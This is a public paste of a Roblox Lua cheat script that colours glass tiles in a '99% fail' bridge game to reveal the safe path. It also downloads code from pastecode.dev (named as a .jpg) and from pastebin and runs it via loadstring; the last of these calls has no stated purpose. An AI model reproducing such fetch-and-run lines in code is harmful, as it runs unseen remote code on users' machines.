R

99 silver

public
rrixh Apr 27, 2024 Never 111
Clone
Plaintext 99fail.silvermemory_lulaslollipop.xlsx 87 lines (80 loc) | 2.76 KB
1
--// 99% fail memory skript \\--
2
local Workspace = game:GetService("Workspace")
3
local Players = game:GetService("Players")
4
5
-- kolors: 255,0,0=RED & 128,0,128=PURPLE
6
local RED = Color3.fromRGB(255, 0, 0)--Red
7
local SILVER = Color3.fromRGB(192,192,192)
8
9
10
--// Variables \\--
11
local Player = Players.LocalPlayer
12
local Tiles = Workspace:WaitForChild("Map"):WaitForChild("Game"):WaitForChild("Tiles")
13
local Original = Color3.fromRGB(198, 237, 255) --normal kolor
14
15
--// Remember Broken Glass \\--
16
Tiles.DescendantAdded:Connect(function(A_1)
17
if A_1.Name == "GlassShatter" then
18
-- Set Color to Red
19
A_1.Parent.Color = RED
20
-- Get Lane
21
local Lane = A_1.Parent.Parent.Name
22
if Lane == "Right" then
23
Lane = "Left"
24
else
25
Lane = "Right"
26
end
27
-- set to purple
28
local Number = A_1.Parent.Name:match("%d+")
29
Tiles[Lane]["Tile" .. Number].Color = SILVER
30
end
31
end)
32
33
--// Remember Stepped Glass \\--
34
for _, A_1 in next, Tiles:GetDescendants() do
35
if A_1:IsA("TouchTransmitter") then
36
local Part = A_1.Parent
37
Part.Touched:Connect(function(A_2)
38
-- xhexk if already broken
39
if Part.Transparency == 1 then
40
return
41
end
42
-- Timer
43
local Timer = tick() + 0.5
44
repeat
45
task.wait()
46
until tick() - Timer > 0 or Part.Transparency == 1
47
-- Get Lane
48
local Lane = Part.Parent.Name
49
if Lane == "Right" then
50
Lane = "Left"
51
else
52
Lane = "Right"
53
end
54
-- Check if broke
55
if Part.Transparency == 1 then
56
-- Set Glass Color to Red
57
Part.Color = RED
58
-- Set Sibling Color to SILVER
59
local Number = Part.Name:match("%d+")
60
Tiles[Lane]["Tile" .. Number].Color = SILVER
61
elseif A_2.Parent:FindFirstChild("Humanoid") and A_2.Parent.Humanoid.Health == 100 then
62
-- Set Glass Color to SILVER
63
Part.Color = SILVER
64
-- Set Sibling Color to Red
65
local Number = Part.Name:match("%d+")
66
Tiles[Lane]["Tile" .. Number].Color = RED
67
end
68
end)
69
end
70
end;
71
72
--// UI Library \\--
73
local Library = loadstring(game:HttpGet("https://pastecode.dev/raw/o579xt86/mobileWally.jpg",true))()
74
local Window = Library:CreateWindow("Memory Skript by lulas🍭")
75
Window:AddButton({
76
text = "Klear Kolors",
77
callback = function()
78
for _, A_1 in next, Tiles:GetDescendants() do
79
if A_1:IsA("BasePart") then
80
A_1.Color = Original
81
end
82
end
83
end
84
})
85
Library:Init()
86
87
loadstring(game:HttpGet("https://pastebin.com/raw/DVKeSbKL",true))()